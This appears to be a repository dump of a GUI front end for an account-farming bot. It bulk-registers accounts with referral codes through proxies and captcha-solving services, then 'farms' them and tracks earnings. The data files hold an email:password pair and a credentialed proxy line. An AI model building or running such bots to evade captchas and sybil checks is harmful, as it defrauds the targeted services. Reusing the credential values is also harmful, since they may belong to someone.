self.ref_code_entry.grid_remove()
# Add delay inputs after the threads input
self.delay_label = ctk.CTkLabel(
self.input_frame,
text="Delay (seconds):",
font=("Helvetica", 14),
fg_color="#FFFFFF",
text_color="#2E3A59"
)
self.delay_label.grid(row=2, column=0, sticky="w", pady=5, padx=(0, 5))
self.delay_min_entry = ctk.CTkEntry(self.input_frame, width=60)
self.delay_min_entry.grid(row=2, column=1, sticky="w", pady=5)
self.delay_to_label = ctk.CTkLabel(
self.input_frame,
text="to",
font=("Helvetica", 14),
fg_color="#FFFFFF",
text_color="#2E3A59"
)
self.delay_to_label.grid(row=2, column=1, sticky="w", pady=5, padx=(65, 0))
self.delay_max_entry = ctk.CTkEntry(self.input_frame, width=60)
self.delay_max_entry.grid(row=2, column=1, sticky="w", pady=5, padx=(90, 0))
# Buttons frame
self.buttons_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF")
self.buttons_frame.pack(fill="x", padx=20, pady=(10, 20))
main_button_style = {
"fg_color": "#4A55A2",
"hover_color": "#3D478F",
"corner_radius": 10,
"border_width": 0,
"font": ("Helvetica", 14, "bold"),
"text_color": "white"
}
earnings_button_style = {
"fg_color": "#E9E4FF", # Light purple background
"hover_color": "#D6D6F5", # Slightly darker on hover
"corner_radius": 8,
"border_width": 1,
"border_color": "#593FDE", # Purple border
"font": ("Helvetica", 12), # Smaller font
"text_color": "#593FDE", # Purple text
"width": 100, # Fixed width
"height": 28 # Smaller height
}
self.register_button = ctk.CTkButton(
self.buttons_frame,
text="Register Accounts",
command=self.register_accounts,
**main_button_style
)
self.register_button.pack(side="left", padx=(0, 10), expand=True, fill="x")
self.mining_button = ctk.CTkButton(
self.buttons_frame,
text="Start Farm",
command=self.start_mining,
**main_button_style
)
self.mining_button.pack(side="left", padx=(0, 10), expand=True, fill="x")
self.stop_button = ctk.CTkButton(
self.buttons_frame,
text="Stop Bot",
command=self.stop_bot,
**main_button_style
)
self.stop_button.pack(side="left", padx=(0, 10), expand=True, fill="x")
# Add View Earnings button with different style
self.view_earnings_button = ctk.CTkButton(
self.buttons_frame,
text="View Earnings",
command=self.view_earnings,
**earnings_button_style
)
self.view_earnings_button.pack(side="left", expand=False) # Changed to expand=False
# Log frame
self.log_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF")
self.log_frame.pack(fill="both", expand=True, padx=20, pady=(0, 20))
self.log_box = Text(
self.log_frame,
wrap="word",
bg="#F8F9FA",
fg="#2E3A59",
font=("Consolas", 12),
relief="flat",
borderwidth=0,
highlightthickness=0
)
self.log_box.pack(fill="both", expand=True, padx=10, pady=10)
# Apply styles
self.beautify_ui()
# Load saved values
self.load_values()
def create_file_selection(self, label_text, command):
frame = ctk.CTkFrame(self.file_frame, fg_color="#FFFFFF")
frame.pack(fill="x", pady=5)
label = ctk.CTkLabel(
frame,
text=label_text,
font=("Helvetica", 14),
fg_color="#FFFFFF"
)
label.pack(side="left")
button = ctk.CTkButton(
frame,
text="Select File",
command=command,
fg_color="#E9E4FF",
text_color="#2E3A59",
hover_color="#D6D6F5",
corner_radius=10,
width=200,
font=("Helvetica", 14)
)
button.pack(side="right")
return label, button
def create_input_field(self, label_text, widget):
label = ctk.CTkLabel(
self.input_frame,
text=label_text,
font=("Helvetica", 14),
fg_color="#FFFFFF",
text_color="#2E3A59"
)
if isinstance(widget, ctk.CTkEntry):
widget.configure(
height=30,
font=("Helvetica", 14),
fg_color="#FFFFFF",
border_color="#4A55A2",
border_width=1,
corner_radius=5
)
elif isinstance(widget, ctk.CTkOptionMenu):
widget.configure(
height=30,
font=("Helvetica", 14),
fg_color="#FFFFFF",
button_color="#4A55A2",
button_hover_color="#3D478F",
dropdown_fg_color="#FFFFFF",
dropdown_hover_color="#E9E4FF",
corner_radius=5
)
return label, widget
def open_link(self, url):
webbrowser.open(url)
def on_mousewheel(self, event):
if os.name == 'nt':
self.log_box.yview_scroll(int(-1*(event.delta/120)), "units")
elif event.num == 4:
self.log_box.yview_scroll(-1, "units")
elif event.num == 5:
self.log_box.yview_scroll(1, "units")
def load_accounts_file(self):
file_path = filedialog.askopenfilename(title="Select Accounts File")
if file_path:
self.accounts_path = file_path
filename = os.path.basename(file_path)
self.accounts_button.configure(text=filename)
def load_proxies_file(self):
file_path = filedialog.askopenfilename(title="Select Proxies File")
if file_path:
self.proxies_path = file_path
filename = os.path.basename(file_path)
self.proxies_button.configure(text=filename)
def save_settings(self):
ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()]
self.config['DEFAULT'] = {
'AccountsFile': getattr(self, 'accounts_path', ''),
'ProxiesFile': getattr(self, 'proxies_path', ''),
'ReferralCodes': ','.join(ref_codes),
'Threads': self.threads_entry.get(),
'CaptchaService': self.captcha_service_var.get(),
'CaptchaAPIKey': self.captcha_api_entry.get(),
'DelayMin': self.delay_min_entry.get(),
'DelayMax': self.delay_max_entry.get()
}
with open(CONFIG_FILE, 'w') as configfile:
self.config.write(configfile)
def load_settings(self):
if os.path.exists(CONFIG_FILE):
self.config.read(CONFIG_FILE)
else:
self.config['DEFAULT'] = {
'AccountsFile': '',
'ProxiesFile': '',
'ReferralCodes': '',
'Threads': '5',
'CaptchaService': 'capmonster',
'CaptchaAPIKey': '',
'DelayMin': '1',
'DelayMax': '2'
}
def load_values(self):
accounts = self.config['DEFAULT'].get('AccountsFile', '')
proxies = self.config['DEFAULT'].get('ProxiesFile', '')
self.accounts_path = accounts
self.proxies_path = proxies
ref_codes = self.config['DEFAULT'].get('ReferralCodes', '')
self.ref_code_entry.delete(0, 'end')
self.ref_code_entry.insert(0, ref_codes)
threads = self.config['DEFAULT'].get('Threads', '5')
self.threads_entry.insert(0, threads)
self.captcha_service_var.set(self.config['DEFAULT'].get('CaptchaService', 'capmonster'))
self.captcha_api_entry.insert(0, self.config['DEFAULT'].get('CaptchaAPIKey', ''))
self.delay_min_entry.insert(0, self.config['DEFAULT'].get('DelayMin', '1'))
self.delay_max_entry.insert(0, self.config['DEFAULT'].get('DelayMax', '2'))
if self.accounts_path:
accounts_filename = os.path.basename(self.accounts_path)
self.accounts_button.configure(text=accounts_filename)
if self.proxies_path:
proxies_filename = os.path.basename(self.proxies_path)
self.proxies_button.configure(text=proxies_filename)
def setup_logger(self):
logger.remove()
# Configure text styles with bigger font and colors
self.log_box.tag_configure("INFO", foreground="black", font=("Consolas", 14))
self.log_box.tag_configure("ERROR", foreground="red", font=("Consolas", 14, "bold"))
self.log_box.tag_configure("WARNING", foreground="orange", font=("Consolas", 14))
self.log_box.tag_configure("DEBUG", foreground="purple", font=("Consolas", 14))
self.log_box.tag_configure("SUCCESS", foreground="green", font=("Consolas", 14, "bold"))
def gui_log_sink(message):
log_text = message.strip()
level = message.record["level"].name
if level == "INFO":
tag = "INFO"
elif level == "ERROR":
tag = "ERROR"
elif level == "WARNING":
tag = "WARNING"
elif level == "DEBUG":
tag = "DEBUG"
elif level == "SUCCESS":
tag = "SUCCESS"
else:
tag = "INFO"
self.root.after(0, self.append_log, log_text, tag)
logger.add(gui_log_sink, format="{time} {level} {message}", level="DEBUG")
def append_log(self, log_text, tag):
self.log_box.configure(state="normal")
self.log_box.insert(END, log_text + "\n", tag)
self.log_box.configure(state="disabled")
self.log_box.see(END)
def register_accounts(self):
captcha_service_var = self.captcha_service_var.get()
if captcha_service_var == 'anticaptcha':
self.CaptchaService = ServiceAnticaptcha
elif captcha_service_var == 'capmonster':
self.CaptchaService = ServiceCapmonster
elif captcha_service_var == '2captcha':
self.CaptchaService = Service2Captcha
if not self.validate_inputs():
return
self.save_settings()
if not self.running:
ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()]
delay_min = float(self.delay_min_entry.get())
delay_max = float(self.delay_max_entry.get())
self.bot = Bot(
account_path=self.accounts_path,
proxy_path=self.proxies_path,
threads=int(self.threads_entry.get()),
ref_codes=ref_codes,
captcha_service=self.CaptchaService(api_key=self.captcha_api_entry.get()),
delay_range=(delay_min, delay_max))
self.bot_thread = threading.Thread(target=asyncio.run, args=(self.bot.start_registration(),), daemon=True)
self.bot_thread.start()
self.running = True
logger.info("Started account registration with slow start.")
def start_mining(self):
captcha_service_var = self.captcha_service_var.get()
if captcha_service_var == 'anticaptcha':
self.CaptchaService = ServiceAnticaptcha
elif captcha_service_var == 'capmonster':
self.CaptchaService = ServiceCapmonster
elif captcha_service_var == '2captcha':
self.CaptchaService = Service2Captcha
if not self.validate_inputs():
return
self.save_settings()
if not self.running:
ref_codes = [code.strip() for code in self.ref_code_entry.get().split(',') if code.strip()]
delay_min = float(self.delay_min_entry.get())
delay_max = float(self.delay_max_entry.get())
self.bot = Bot(
account_path=self.accounts_path,
proxy_path=self.proxies_path,
threads=int(self.threads_entry.get()),
ref_codes=ref_codes,
captcha_service=self.CaptchaService(api_key=self.captcha_api_entry.get()),
delay_range=(delay_min, delay_max)
)
self.bot_thread = threading.Thread(target=asyncio.run, args=(self.bot.start_mining(),), daemon=True)
self.bot_thread.start()
self.running = True
def stop_bot(self):
if self.running and self.bot:
self.bot.stop()
self.running = False
logger.info("Bot stopped.")
if self.bot_thread:
self.bot_thread.join(timeout=1) # Wait for the thread to finish
# if self.bot_thread.is_alive():
# logger.warning("Bot thread did not stop in time.")
else:
logger.warning("Bot is not running.")
def validate_inputs(self):
if not getattr(self, 'accounts_path', ''):
logger.error("Error: Accounts file not selected!")
messagebox.showerror("Error", "Accounts file not selected!")
return False
if not getattr(self, 'proxies_path', ''):
logger.error("Error: Proxies file not selected!")
messagebox.showerror("Error", "Proxies file not selected!")
return False
if not self.captcha_api_entry.get():
logger.error("Error: Captcha API key is missing!")
messagebox.showerror("Error", "Captcha API key is missing!")
return False
try:
threads = int(self.threads_entry.get())
if threads <= 0:
raise ValueError
except ValueError:
logger.error("Error: Number of threads must be a positive integer!")
messagebox.showerror("Error", "Number of threads must be a positive integer!")
return False
try:
delay_min = float(self.delay_min_entry.get())
delay_max = float(self.delay_max_entry.get())
if delay_min < 0 or delay_max < 0 or delay_min > delay_max:
raise ValueError
except ValueError:
logger.error("Error: Invalid delay range!")
messagebox.showerror("Error", "Invalid delay range! Please enter valid positive numbers, with min <= max.")
return False
return True
def beautify_ui(self):
self.root.configure(bg="#F1F3FF")
self.main_frame.configure(fg_color="#F1F3FF")
# Update entry styles
entry_style = {
"fg_color": "#FFFFFF",
"border_color": "#4A55A2",
"border_width": 1,
"corner_radius": 10
}
for entry in [self.threads_entry, self.captcha_api_entry, self.ref_code_entry, self.delay_min_entry, self.delay_max_entry]:
entry.configure(**entry_style)
# Update label styles
label_style = {
"font": ("Helvetica", 14),
"text_color": "#2E3A59"
}
for label in [self.accounts_label, self.proxies_label, self.threads_label, self.captcha_label, self.captcha_api_label, self.ref_code_label, self.delay_label]:
label.configure(**label_style)
# Update log box style with bigger font
self.log_box.configure(
bg="#F8F9FA",
fg="#2E3A59",
font=("Consolas", 14), # Increased font size
relief="flat",
padx=10,
pady=10
)
def toggle_ref_code_visibility(self):
if self.ref_code_label.winfo_viewable():
self.ref_code_label.grid_remove()
self.ref_code_entry.grid_remove()
self.toggle_ref_code_button.configure(text="⋮")
else:
self.ref_code_label.grid()
self.ref_code_entry.grid()
self.toggle_ref_code_button.configure(text="×")
def view_earnings(self):
try:
# Store earnings window as class attribute
if hasattr(self, 'earnings_window') and self.earnings_window.winfo_exists():
self.earnings_window.lift() # Bring window to front if it exists
return
with open('data/earnings.csv', 'r', newline='') as f:
reader = csv.reader(f)
next(reader) # Skip header
earnings_data = list(reader)
# Create a new window to display earnings
self.earnings_window = ctk.CTkToplevel()
self.earnings_window.title("Account Earnings")
self.earnings_window.geometry("500x300")
self.earnings_window.configure(fg_color="#F1F3FF")
# Position the window to the right of the main window
main_x = self.root.winfo_x()
main_y = self.root.winfo_y()
self.earnings_window.geometry(f"+{main_x + self.root.winfo_width() + 10}+{main_y}")
# Create a frame for the content
content_frame = ctk.CTkFrame(self.earnings_window, fg_color="#FFFFFF", corner_radius=10)
content_frame.pack(fill="both", expand=True, padx=10, pady=10)
# Create a text widget to display the data
self.earnings_text = Text(
content_frame,
wrap="none",
bg="#FFFFFF",
fg="#2E3A59",
font=("Consolas", 12),
relief="flat",
padx=10,
pady=10,
height=15
)
self.earnings_text.pack(fill="both", expand=True, padx=5, pady=5)
# Add scrollbars
y_scrollbar = ctk.CTkScrollbar(content_frame, command=self.earnings_text.yview)
y_scrollbar.pack(side="right", fill="y")
x_scrollbar = ctk.CTkScrollbar(content_frame, command=self.earnings_text.xview, orientation="horizontal")
x_scrollbar.pack(side="bottom", fill="x")
self.earnings_text.configure(yscrollcommand=y_scrollbar.set, xscrollcommand=x_scrollbar.set)
# Configure tags for styling
self.earnings_text.tag_configure("header", font=("Consolas", 12, "bold"), foreground="#4A55A2")
self.earnings_text.tag_configure("separator", foreground="#4A55A2")
self.earnings_text.tag_configure("data", font=("Consolas", 11))
self.earnings_text.tag_configure("earnings", foreground="#593FDE", font=("Consolas", 11, "bold"))
def update_earnings():
if not self.earnings_window.winfo_exists():
return
try:
with open('data/earnings.csv', 'r', newline='') as f:
reader = csv.reader(f)
next(reader) # Skip header
current_data = list(reader)
self.earnings_text.configure(state="normal")
self.earnings_text.delete("1.0", "end")
# Format and display the data
self.earnings_text.insert("1.0", f"{'Email':<35} {'Last Update':<20} {'Total Earnings':<15}\n", "header")
self.earnings_text.insert("2.0", "─" * 70 + "\n", "separator")
for email, last_update, total_earning in current_data:
line = f"{email:<35} {last_update:<20} "
self.earnings_text.insert("end", line, "data")
self.earnings_text.insert("end", f"{total_earning:>15}\n", "earnings")
self.earnings_text.configure(state="disabled")
# Schedule next update
self.earnings_window.after(5000, update_earnings) # Update every 5 seconds
except Exception as e:
logger.error(f"Error updating earnings: {e}")
# Initial display
update_earnings()
# Make the window stay on top
self.earnings_window.attributes('-topmost', True)
self.earnings_window.update()
except FileNotFoundError:
messagebox.showinfo("No Data", "No earnings data available yet.")
except Exception as e:
logger.error(f"Error viewing earnings: {e}")
messagebox.showerror("Error", f"Failed to load earnings data: {e}")
if __name__ == "__main__":
root = ctk.CTk()
app = BotGUI(root)
app.setup_logger()
root.mainloop()
================================================
FILE: data/accounts.txt
================================================
asdasd1222c@gmail.com:3pQ2sm,@sDE/g
================================================
FILE: data/proxies.txt
================================================
http://118.193.59.207:16666:tensd2xasd50-zone-resi-region-gb-session-f2xiRzReoFba-sessTime-3600:hppsddfosdgxs
================================================
FILE: data/settings.ini
================================================
[DEFAULT]
accountsfile =
proxiesfile =
referralcodes =
threads = 5
captchaservice = capmonster
captchaapikey =
delaymin = 1
delaymax = 2
================================================
FILE: main.py
================================================
import asyncio
import sys
from core.utils.logger import logger
def check_tkinter_available():
try:
import customtkinter
return True
except ImportError:
return False
if __name__ == "__main__":
if sys.platform == 'win32':
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
try:
if check_tkinter_available():
logger.info("Starting GUI version...")
import customtkinter as ctk
from customtkinter_gui import BotGUI
root = ctk.CTk()
app = BotGUI(root)
app.setup_logger()
root.mainloop()
else:
logger.info("Starting console version...")
from core.menu import ConsoleMenu
menu = ConsoleMenu()
asyncio.run(menu.run())
except KeyboardInterrupt:
logger.info("Application terminated by user")
================================================
FILE: requirements.txt
================================================
PyJWT~=2.9.0
loguru~=0.7.2
pyuseragents~=1.0.5
capmonster_python==3.2.0
Faker~=30.6.0
tenacity~=9.0.0
art~=6.3
termcolor~=2.5.0
flet~=0.24.1
customtkinter~=5.2.2
pillow~=11.0.0
curl_cffi~=0.7.3
random-username~=1.0.2
better-proxy==1.2.0
anticaptchaofficial
2captcha-python